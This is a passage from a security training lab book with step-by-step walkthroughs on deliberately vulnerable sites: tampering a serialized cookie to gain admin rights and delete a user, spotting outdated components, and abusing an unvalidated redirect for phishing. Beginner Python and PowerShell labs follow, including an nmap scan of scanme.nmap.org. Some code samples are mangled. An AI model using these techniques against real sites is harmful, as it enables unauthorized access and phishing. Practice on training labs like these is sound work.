making them very severe vulnerabilities. Even if they do not result in RCE,
they can be used to perform attacks including replay attacks, injection
attacks, and privilege escalation attacks.

Lab Tool:
Kali Linux.

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
In this lab, I will be using Portswigger’s Web Academy to demonstrate an
XSS vulnerability.

In order to access the lab, you will first need to create an account at the
following site:

https://portswigger.net/web-security/dashboard

Once you have created an account, you can access the lab at the following
link:



https://portswigger.net/web-security/deserialization/exploiting/lab-
deserialization-modifying-serialized-objects 

Task 2:
To begin, access the lab from the link above. You will be presented with a
webpage which looks like an online shop. Click on the “My account” button
at the top right of the screen (1). This will bring you to a login screen. Then,
login with the username “wiener” and password “peter” without quotes
(2,3,4).

You will then see a screen which allows you to update the email for your
account. Start Burp Suite and ensure intercept is turned ON. How to install
Burp Suite is explained in detail in lab 7.



Then, enter a random email address into the textbox and click update email.

Navigate to Burp where the captured requests should be waiting for you.
Forward the first request as we do not need it. The second request is the one
we want; it starts with the following header:

GET / HTTP/1.1



Right click on this request and choose the “Send to Repeater” from the option
menu (1). Then, navigate to the “Repeater” tab (2).

Task 2:
On the Repeater tab, notice the cookie session value which is assigned to us.
This is the value we are looking to manipulate.

Highlight this value (1) and you will notice the automatic decoder to the right
of the screen (2) is able to decode the cookie value and show us in clear text
what values it is made up of.



With this cookie value highlighted, right-click on the value and select Send to
Decoder (3). Then, navigate to the Decoder tab (4).

Task 3:
Once in the Decoder tab, you will see the cookie value that we sent here from
our request. Select the “Decode as” button to the right of the textbox and
select “URL” (1). Another textbox will appear with the URL decoded value.
Do this again for the second value (2) and a third box will appear with the
decoded value. For this third value, select “Decode as”, and then select
“Base64” (3). Finally, we are able to see our cookie value in clear text,
allowing us to manipulate it (4).



Notice the section which has the following code in it:

“admin”;b:0;}

This is the section we are interested in manipulating. The b:0 value is a
boolean value which means false. Essentially, this is indicating to the server
that we are not the admin user. If we change this value to b:1, this will now
indicate to the server that we are the admin user.

Great! We now need to reformat this value to be the same as the original
cookie value. To do this, click the “Encode as” option to the right of the value
we just manipulated and select “Base64” (2). A new textbox will appear



containing the encoded value. For this new textbox, click on the “Encode as”
option to the right of the box, and select “URL” (3). A new textbox will
appear containing the URL encoded value.

OK, we now have our manipulated value back to the format of the original
cookie value. Copy this value (4) and return to our “Repeater” tab, where the
request should still be waiting for us (5).

Task 4:
In the “Repeater” tab, replace the cookie session value with our new value
which we copied from the “Decoder” tab (1). Press “Send” in the top left
corner and note the response from the server on the right hand side (2). At the
bottom of the right handside panel, there is a search box. In this search box
type the word “admin” (3). You should notice 2 results being returned, with a
reference to a directory called “/admin”.



Change the header of your request so that it looks like the following (4):

GET /admin HTTP/1.1

Then, “Send” the request again (5). You don’t need to, but if you replace the
origional GET / request we captured with this new request and new cookie
value, whenever you return to the shop, you will notice that you would be
logged in as the admin (6).



Task 5:
Search for the word “admin” in the right hand panel again, and you will
notice that there are now 4 matches (1). There are an extra two results with
headers which allow us to delete the user account for “carlos” (2). Copy the
header which deleted the user account for “carlos”. Replace your request
header with this value so that it looks like the following (3):

GET /admin/delete?username=carlos HTTP/1.1



Send this request by hitting the “Send” button in the top left (4). You will
notice a result of 302 found, indicating that the user account has been deleted
(5).



To finish the lab, select all the text in the left hand panel and copy it to your
clipboard (6). Return to your “Proxy” tab, where your request should still be
waiting (7). Replace all the text on this screen with the copied text from the
“Repeater” tab (8) and “Forward” the request (9). Once this is done, turn off
intercept (10) and return to the lab in your browser.



Congratulations! The lab is solved! We have managed to login as the user
“carlos” by exploiting an insecure deserialization vulnerability and delete the
user account for “carlos”.



Lab 95. OWASP A9—Using
Components with Known

Vulnerabilities

Lab Objective:
Learn how to take advantage of integrated components in a web application
with known vulnerabilities.

Lab Purpose:
Components—such as libraries, frameworks, and other software modules—
run with the same privileges as the application. If a vulnerable component is
exploited, such an attack can facilitate serious data loss or server takeover.
Applications and APIs using components with known vulnerabilities may
undermine application defences and enable various attacks and impacts.

Lab Tool:
Kali Linux.

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
In this lab, we will be using Mutillidae 2 to demonstrate how to take
advantage of a web application using components with known vulnerabilities.
How to install this environment in Kali VM is explained in detail in lab 87.

This is a very simple lab. In this lab, we will learn how to uncover whether an
application has integrated components with known vulnerabilities.



Navigate to the “Secret PHP Server Configuration Page” which can be found
at the following location in the Mutillidae 2 menu:

Once here, you will find that this page contains all the information about the
different versions of software and components used withing the configuration
of the Mutillidae 2 site. From here, we are able to hone in on specific
versions of software, for example the Apache version or PHP version that the
site is using, and search exploit databases for any known vulnerabilities.



For example, we can see that the site is using PHP version 7.4. If we run a
quick google search for “PHP 7.4 vulnerabilities” we can see the first two
links contain the information we are looking for. The link to the tenable site
describes some known vulnerabilities for PHP versions under 7.4.11, which
include the Mutillidae 2 site as it is using PHP 7.4. An attacker would
conduct research such as this to discover any known vulnerabilities and then
either search for a working exploit or develop their own.

We can do the same for the Apache version. We can see from this webpage
that the server is running Apache 2.0. A quick Google search of “Apache 2.0
vulnerabilities” will lead us to the following site detailing some of the
vulnerabilities:

https://www.cvedetails.com/vulnerability-list/vendor_id-45/product_id-
66/version_id-6333/Apache-Http-Server-2.0.html 

As you can see, there are numerous vulnerabilities with varying degrees of
severity for the service Apache 2.0. We can use this information to exploit
this vulnerable service.

In reality, there will rarely be a webpage with all of this information; an

https://www.cvedetails.com/vulnerability-list/vendor_id-45/product_id-66/version_id-6333/Apache-Http-Server-2.0.html


attacker will have to manually gather this information by interacting with the
server itself and reading its headers as well as the different responses it sends
to determine which components are integrated and what their version is.



Lab 96. OWASP A10—Unvalidated
Redirects and Forwards

Lab Objective:
Learn how to take advantage of unvalidated redirects and forwards
vulnerability.

Lab Purpose:
Unvalidated redirects and forwards are possible when a web application
accepts untrusted input that could cause the web application to redirect the
request to a URL contained within untrusted input. By modifying untrusted
URL input to a malicious site, an attacker may successfully launch a phishing
scam and steal user credentials.

Unvalidated redirect and forward attacks can also be used to maliciously craft
a URL that would pass the application’s access control check and then
forward the attacker to privileged functions that they would normally not be
able to access.

Lab Tool:
Kali Linux.

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
In this lab, I will be using Mutillidae 2 to demonstrate how to take advantage
of an unvalidated redirects and forwards vulnerability. How to install this
environment in Kali VM is explained in detail in lab 87.



To begin, navigate to the Credits page, which can be found at the following
location in the Mutillidae 2 menu:

Once here, you will find a very simple page which gives credit to the creators
of Mutillidae 2. This page, however, is vulnerable to unvalidated redirects
and forwards. It is normal for web application to frequently redirect and
forward users to other websites and pages while using untrusted data to
determine the destination pages. If, however, this is done without proper
validation, attackers are able to redirect users to malware or phishing sites, or
use forwards to access unauthorized pages.



Task 2:
To take advantage of this vulnerability, copy and paste following URL to
address bar:

http://localhost/mutillidae/index.php?page=redirectandlog.php&forwardurl=http://www.owasp.org

This URL will send the user to the OWASP web page instead of the
Mutillidae 2 site. In this URL, the forwardurl parameter specifies the redirection
URL and the attacker can point the user to a malicious webpage.

Unvalidated redirects are often used to increase the success rate of phishing
attacks and campaigns. This is due to the fact that the first part of the link
looks legitimate as it will include a link to a legitimate site.

Take the URL we just entered for example. Looking at the first half of the



link, it looks like the link is taking us to the Mutillidae 2 site, which is where
we want to go. Often, users will only check the first half of the link to see if it
is leading to a legitimate site. It is the second half of the link which turns out
to be malicious as it redirects us to the OWASP site.

If this was a phishing campaign, an attacker could take advantage of the
PayPal site for example (if it was vulnerable to unvalidated redirects) and
send users a link. Users would think that the link was legitimate as it is
coming from PayPal.com, but in reality, the attacker can redirect them to any
site they like.

This lab concludes our look at the OWASP Top 10.



Lab 97. Introduction to Python
Scripting

Lab Objective:
Learn some fundamental concepts surrounding the Python language.

Lab Purpose:
Python is an interpreted, object-oriented, high-level programming language
with dynamic semantics. Its high-level built-in data structures, combined with
dynamic typing and dynamic binding, making it incredibly attractive for
Rapid Application Development, as well as for use as a scripting or glue
language to connect existing components together.

Lab Tool:
Kali Linux.

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
In this lab, we will be looking at some fundamental concepts around scripting
with Python. Python is a good coding language to learn as its syntax is quite
simple and straightforward. Python is also very versatile and can import
massive amounts of code from libraries, shortening the workload on
developers.

To begin, we will make a very simple first script. Open a terminal in Kali and
create a new document with nano. Type the following:



nano sample1.py
print(“Hello Everybody!”)

Save this file and exit.

Finally, execute this script by typing:

python3 sample1.py

If we want to run the script on its own, it is necessary to write the full path of
the interpreter with “#!” suffix on the first line of each code and then make
the script executable. If you do not know the full path of python interpreter in
Kali, type this on the command line:

which python

Copy the path of binary, then open the same script with an editor and add the
following to the very first line;

#!/usr/bin/python



Then, make this file executable by typing the following:

chmod +x sample1.py
./sample1.py

This first line we have added has no effect on the actual code, and tells the
shell that this script will be run by python.



Task 2:
Ok, so we are now familiar with how to create and run python scripts. For the
rest of the tasks, we can create scripts with different names each time.

We will now look at mathematical operators. These allow us to add, subtract,
etc., in our scripts. Here is a list of the different operators available in Python
and their syntax:

Addition

+

Subtraction

-

Multiplication

*

Division

/

Modulus



%

Exponent

**

Floor Division

//

So, if we wanted to perform simple multiplication, we could type 5 * 5 and
this would multiply 5 by 5 and give us the result of 25.

There are also comparison operators available to us, as in any coding
language. These are the following:

Greater than

>

Less than

<

Equal to

==

Not Equal to

!=

Greater than or equal to

>=

Less than or equal

<=



Task 3:
Now, we will look at variables. Variables are how Python stores information.
There are a number of different variables in Python. They are listed here:

String – Used to define text
Integer – Whole numbers e.g 12
Float – Decimal numbers e.g 3.2

Boolean – Used to define true or false, it can only be one or the
other

List – Used to store a series of data types in a collection

Variables are created in a very simple way in Python. We can create a
variable and print its contents very simply in Python. Create a new script and
add Python3 interpreter path on the first line as usual. Then, type the
following:

#!/usr/bin/python3
number = 5
print (“number = “, number)

Make executable this new script then run:

chmod +x sample2.py
./sample2.py



We will see the “number = 5” returned in the console. To receive input from
the user when executing a script, we use the following:

input

So, if we want to ask a user to enter a number, compare the number to
another number, and then print the answer to the screen. Change the same
script to be like this:



Save script and execute it. Enter a number when asked and you will see that it
is printed back to you in the console.

Task 4:
Now that we have some of the basic concepts established, we will look at if
statements. This is one of the most useful tools when it comes to Python
scripting. An if statement looks like the following:

if x == y
Do this

else:
Do something else

If x is equal to y, the first “Do this” command will run. If it is not equal, the
second “Do something else” will be run.

Let’s use this knowledge to create a more comprehensive script. Create a new
script file and type the following:

#!/usr/bin/python3
number = int( input(“Enter a number: “) )
if number < 5:

print(number,”is less than 5”)
elif number >= 5:

print(number,”is greater than or equal to 5”)
else:

print(“Error occurred!”)

Save your new script, make executable, then execute. Notice the different
responses printed to the console depending on the number you enter.





Lab 98. More Python Scripting

Lab Objective:
Learn some more concepts surrounding the Python language.

Lab Purpose:
Python is an interpreted, object-oriented, high-level programming language
with dynamic semantics. Its high-level built-in data structures, combined with
dynamic typing and dynamic binding, make it very attractive for Rapid
Application Development, as well as for use as a scripting or glue language
to connect existing components together.

Lab Tool:
Kali Linux.

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
In this lab, we will be looking at some more concepts around scripting with
Python. Python is a good coding language to learn as its syntax is very simple
and straightforward. Python is also very versatile and can import massive
amounts of code from libraries, shortening the workload on developers.

We will begin by talking about functions. Functions are like blocks of code
which are executed together. Functions make it easier to use the output of the
function in another statement instead of having to write all of the lines of
code again. For example, say we have a complex formula to calculate a sum.
If we want to include the output of this complex formula in another sum, we
can simply call the function instead of re-writing all of the lines of code



again.

In the Python language, functions are known as definitions. Let’s create one
now. Create a new script and edit its contents so that the script looks like the
following:

!/usr/bin/python3

number = int(input(“Enter a number:”))
def calculation (number):

if number < 5:
print(number,”is less than 5”)

elif number >= 5:
print(number,”is greater than or equal to 5”)

else:
print(“Error”)

return
calculation(number)

Let’s break down what this script is doing.

1. The first line is creating a variable which will store an integer
when the user enters one after they are prompted.



2. This is our definition (or function) and is using the number
variable throughout the definition.
3. This section contains simple calculations.
4. This line is returning the result of the calculations back to the
definition in section 3 and is updating the number variable inside
the definition.
5. This is printing the “number” variable after the definition has
performed some function on it.

Save this script and execute it in the usual fashion. Enter some random
numbers when prompted, and note the different responses you receive.

Task 2:
We will now touch on parameters. Notice how we passed the value of the
number variable to the definition calculation? This number variable is called
a parameter. Since we passed the parameter to the definition function when
we created it, it will be expecting this value when it is called. Note that the
number parameter is merely there for accessing the data within the function,
and that parameters and variable names don’t have to match.

Have a look at the screenshot below:



In the above screenshot, we are passing number to the definition calculation
even though the parameter is named integer. The parameter name is merely
there for accessing the data within the definition.

#!/usr/bin/python3

def calculation (num):
if num < 5:

print(num,”is less than 5”)
elif num >= 5:

print(num,”is greater than or equal to 5”)
else:

print(“Error”)
return

number = int(input(“Enter a number:”))
calculation (number)

Create your script so that it looks like the above, save it, make it executable,
then run.

Task 3:
Let’s look at introducing some of the logic operators we learned about in the



previous lab. These are very useful to include in if statements as they can
provide much more functionality to the statement. Typical login statements
include and, or, not. These can be used in conjunction with if statements to
provide the statement with an extra condition which needs to be met in order
for the statement to be true. For example, create another script so that it looks
like the following:

Each if statement here has now got an added logic statement. When the AND
logic operator is used, both statements must be true for the statement to run.
If the statement is not true, the code will move on to the next if statement (or
elif statement or else statement).

For the second elif statement, the OR logic operator is used. This means that
either statement in this line must be true for the code to execute. If neither are
true, the code wil move onto the next if statement or else statement.

#!/usr/bin/python3

def calculation (num):
if num < 5 and number > 0:

print(num,”is between 0 and 5”)
elif num >= 5 and num < 10:

print(num,”is equal or greater than 5 less than 10”)
elif num > 10 or num < 0:



print(num,”That number is not between 1 and 10!”)
else:

print(“out of range”)
return

number = int(input(“Enter a number:”))
calculation (number)

Save this as a new script and execute it. Experiment with entering different
numbers when prompted and note the differences.



Lab 99. More Advanced Python
Scripting

Lab Objective:
Learn some more advanced concepts surrounding the Python language.

Lab Purpose:
Python is an interpreted, object-oriented, high-level programming language
with dynamic semantics. Its high-level built-in data structures, combined with
dynamic typing and dynamic binding, make it attractive for Rapid
Application Development, as well as for use as a scripting or glue language
to connect existing components together.

Lab Tool:
Kali Linux.

Lab Topology:
You can use Kali Linux in a VM for this lab.

Lab Walkthrough:

Task 1:
In this lab, we will be looking at some more advanced concepts around
scripting with Python. Python is a good coding language to learn as its syntax
is quite simple and straightforward. Python is also very versatile and can
import massive amounts of code from libraries, shortening the workload on
developers.

We will begin by looking at loops. Loops are incredibly useful in scripting
languages. There are two types of loops in Python: for loops and while loops.



For loops look like the following:

names = [‘Mark’, ‘Darragh’, ‘Lee’]
for i in names:

print (i)

This is a very basic for loop. This loop uses the contents of the names array in
the loop. The for loop itself will iterate for every entry within the array and
print the result. So, in our console, we should be returned with the three
names in the array above.

Copy this code and paste it into your script. Save the script, execute it, and
note the output.

This script will execute until every name in the array is output to the console
and will end when there are no names left. This is how a for loop works.

We can add some more code to this script to make the for look more
comprehensive. For loops provide us with the functionality to iterate with
datasets. This can be done with the following piece of code:

for i in range(0,10):
print(i)

This code will iterate through the array, printing the first 10 items to the
console. let’s use this in our script so that we can get a better understanding
of how it works. Copy and paste this next snippet of code into our script in
Kali:



#!/usr/bin/python3

randomNumbers = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15]
for i in range(0,5):

print(i)

Save this script and execute it.

Notice we receive the output of 0, 1, 2, 3, 4 to the console. This is because of
the way indexing works. We specified in the range(0,5) part above that we
want to print the first 5 numbers from the array randomNumbers. The first 5
numbers are 0-4.

If we want to print numbers 1-5, we would have to specify range(1,6).

Note that the first parameter supplied to the range function is the start point of
the for loop. The second function is the end point where the loop will finish.



We can also add a third parameter which will specify to the loop how much
we want it to increment by. For example, if we type range(0, 15, 3) this will
increment through our array by 3. Edit your script so it looks like the
following:

#!/usr/bin/python3

randomNumbers = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15]
for i in range(0,16,3):

print(i)

Now, save it and execute. Note that we are incrementing through our dataset
of numbers in increments of 3. The second parameter is 16 as we want to
display the number at index 16, which is the number 15 (remember the first
number in an array has always index 0).

Finally, we will look at adding an else statement to our for loop. This is very
simple and is similar to how else statements are added to if statements. Edit
your code so that it looks like the following:

#!/usr/bin/python3

randomNumbers = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15]
for i in range(0,16,3):

print(i)
else:

print(“Script has finished running :)”)

Then, save and execute it. Note how the else statement will execute when the



script is finished running. This is a simple implementation of an else
statement in a for loop.

Task 2:
Now, we will briefly touch on how Python can be used to interact with files.
Create a new script so that it looks like the following:

#!/usr/bin/python3

fileInput = input (‘Please input the filename you would like to read:’)
file = open(fileInput, ‘r’)
print( file.read() )

Let’s break down what this script is doing:

The first line after the “#!” is asking the user to input the name
of the file they would like to read and is assigning the value of the
users input to the variable fileInput.

The next line is opening the file specified and reads all of its
contents. It stored the contents of the specified file to the variable
file.

The final line prints the contents stored in the variable file to
the console.



Save this script and execute it. When asked, input the name of the file you
would like to read and notice how its contents are printed to the console. This
is a brief example of how Python can be used to interact with files.

Task 3:
In this lab, we will see how we can run system commands from within the
python script. In Python, we use the “import” keyword to make the code in
one module available in another. Create a new script so that it looks like the
following;

#!/usr/bin/python3

import subprocess

subprocess.run([“ping”, “-c 3”, “scanme.nmap.org”])
subprocess.run([“nmap”, “scanme.nmap.org”, “-sT”])

Let’s break down what this script is doing:

The first line after the “#!” is declares which module we need
to import python runtime environment.

The next line runs ping command with a “-c 3” parameter
against a host.

The final line starts a nmap scan to same host above. Also we
are using another parameter which nmap needs.



Save this script and execute it. As you can see, our python script first
executes a 3-count ping command to scanme.nmap.org (1). When first
command finishes, it starts a portscan to the same target (2).

Using system commands in Python allows us to perform a smarter security
scan within a certain logic pattern, taking into account the results of previous
command outputs.



Lab 100. Introduction to Scripting
with PowerShell

Lab Objective:
Learn how to use some basic PowerShell commands and functions.

Lab Purpose:
PowerShell is a task automation and configuration management framework
from Microsoft. It consists of a command-line shell and the associated
scripting language.

Lab Tool:
Kali Linux and Windows

Lab Topology:
You can use a Windows machine for this lab.

Lab Walkthrough:

Task 1:
In this lab, we will be covering some basics surrounding PowerShell.
PowerShell commands are called cmdlet’s, and are written in .NET. The
output of these cmdlet’s are objects. This means that we can perform actions
on the output object by running cmdlets. The typical cmdlet is constructed
using a verb-noun format. For example, the Get-Help command is used to get
help about a particular cmdlet. Some of the most common verbs used include
the following:

Get—To get something
Start—To run something
Out—To output something



Stop—To stop something that is running
Set—To define something
New—To create something

You can launch PowerShell by searching for the following on your Windows
machine:

PowerShell

Task 2:
Let’s look at some of the most basic PowerShell commands. Keep in mind
throught this lab that you can use Get-Help at any time to get some information
about a command. You can also use the -examples flag which would return
some examples of how this command is used. This is what that would look
like:



Get-Help Get-Command -Examples

The “Get-Command” can be used to get all of the cmdlet’s installed. We can
use this command to search for a particular cmdlet for a specific verb or noun
by typing like the following:

Get-Command Start-*



Task 3:
Let’s now have a quick look at variables. Variables should start with $ in
PowerShell. The following is an example of a variable in PowerShell:

$location = “Earth”

This command will create a variable called $location and assign it the output
of Get-Location cmdlet. This variable will now contain the current location.
To call the variable, we simple type the following:

$location

Task 4:
We will now look at writing our first PowerShell script. Before we are able to
execute any scripts, we will first need to change to execution policy on our
Windows machine. It is recommended to do this in a Windows virtual
machine, or another machine which is not your main or host OS. Changing
the execution policy will allow your machine to execute any PowerShell
script. If you download a PowerShell file containing a virus, this could be
disasterous for your PC. To change the execution policy, open PowerShell
and type the following commands one after the other:

Get-ExecutionPolicy
Set-executionpolicy unrestricted
Enter Y in the prompt
Get-ExecutionPolicy

Before doing this, make sure you opened powershell with Administrator
permissions. Your execution policy should now be set to unrestricted, and we
can proceed with the lab.



Now, create a new file in notepad and type the following:

$Info = “Hello!”
Write-Host $Info

Save this script to your Documents with the name script.ps1.



Now, open PowerShell if you have not already done so, by searching for
PowerShell. Then, call the script with the following command:

& “C:\Users\IEUser\Documents\script.ps1”

You have to write the full path of the script that you’re trying to run.

Notice how Hello! is printed to the console. Ok, we have executed our first
PowerShell script!



Lab 101. More Advanced Scripting
with PowerShell

Lab Objective:
Learn more advanced PowerShell commands and functions.

Lab Purpose:
PowerShell is a task automation and configuration management framework
from Microsoft. It consists of a command-line shell and the associated
scripting language.

Lab Tool:
Kali Linux and Windows

Lab Topology:
You can use a Windows machine for this lab.

Lab Walkthrough:

Task 1:
In this lab, we will run through some more advanced PowerShell concepts
and attempt to write some more comprehensive PowerShell scripts.

Note: When running PowerShell scripts, the location of some of the files we
use in the lab may be stored in different locations on your PC than mine. For
example, if I store something on the Desktop, it will be saved under
C:\User\user\Desktop\filename, but for you, it could be stored in somewhere
like X:\username\username\Desktop\filename. Just make sure that you have
the correct location for the file you are trying to use.

So, we have now established that every cmdlet will output an object when it



is run. Now, we will cover how to manipulate these objects. To do this, we
will need to pass output to other cmdlet’s and use specific object cmdlet’s to
extract information.

To begin, you should note that Pipeline(|) is used to pass output from one
cmdlet to another. Every object will contain methods and properties, much
like in every object-oriented framework. Methods are functions which can be
applied to output from the cmdlet. Properties are variables in the output from
a cmdlet.

Run a command now using the pipelines like this:

Get-Service | Sort-Object -property Status

This command will get all services sorted by their status. Note the output.

Now, let’s create a script making use of pipes. Edit your script so that it looks
like the following:

Get-Service | Sort-Object -property Status
“Hello All!” | Out-File C:\Users\IEUser\Documents\newfile.txt

So, we have just added an extra line to our previous command to write Hello



All! to a text file. Ensure that the text file exists first by creating one and
saving it to your Documents folder.

Now, save the script and execute it. Notice that both commands executed. We
have received all services sorted by their status, and Hello All! has been
written to the newfile.txt file.

Task 2:
Now that we have a basic understanding of PowerShell and how it works, we
will attempt to write a more advanced script. Open your PowerShell script
and edit it so that it looks like the following:

$system_ports = Get-NetTCPConnection -State Listen
$text_port = Get-Content -Path C:\Users\IEUser\Documents\portnumbers.txt
foreach($port in $text_port){

if($port -in $system_ports.LocalPort){
echo “$port is OPEN in this machine!”

}
else { echo “$port is NOT open” }

}

Save this script.

Let’s break this script down:

In the first line, we are getting a list of all the ports on the
system that are listening. This is achieved using the Get-
NetTCPConnection cmdlet. This output is saved to the variable
system_ports

The second line is reading a list of port numbers from the file
“portnumbers.txt”. This file contains a random set of port
numbers with each number on a different line. We are then
storing the contents of this file in the variable text_port

The third line is establishing a loop for each port stored in the
text_port variable. This loop will run until all the stored ports
have been dealt with.

The fourth line is an if statement. This statement will check to
see if the port in the port variable is in the LocalPort property of
the Windows system. If this statement is true, the port will be



echoed to the console. If the statement is not true, that port
number will be ignored.

Before running it, create a text file on your
“C:\Users\IEUser\Documents\portnumbers.txt” path and add in a random list
of ports with each port number on a different line, like this:

22
80
8080
443
445
135
3389

Save this file, and, finally, run the “script.ps1” file:

If any of the ports listed in the text file you created are listening on your
Windows system, they will be printed to the console as “OPEN”. This is a
simple example of how PowerShell can be used to interact with the Windows
OS for gathering information.
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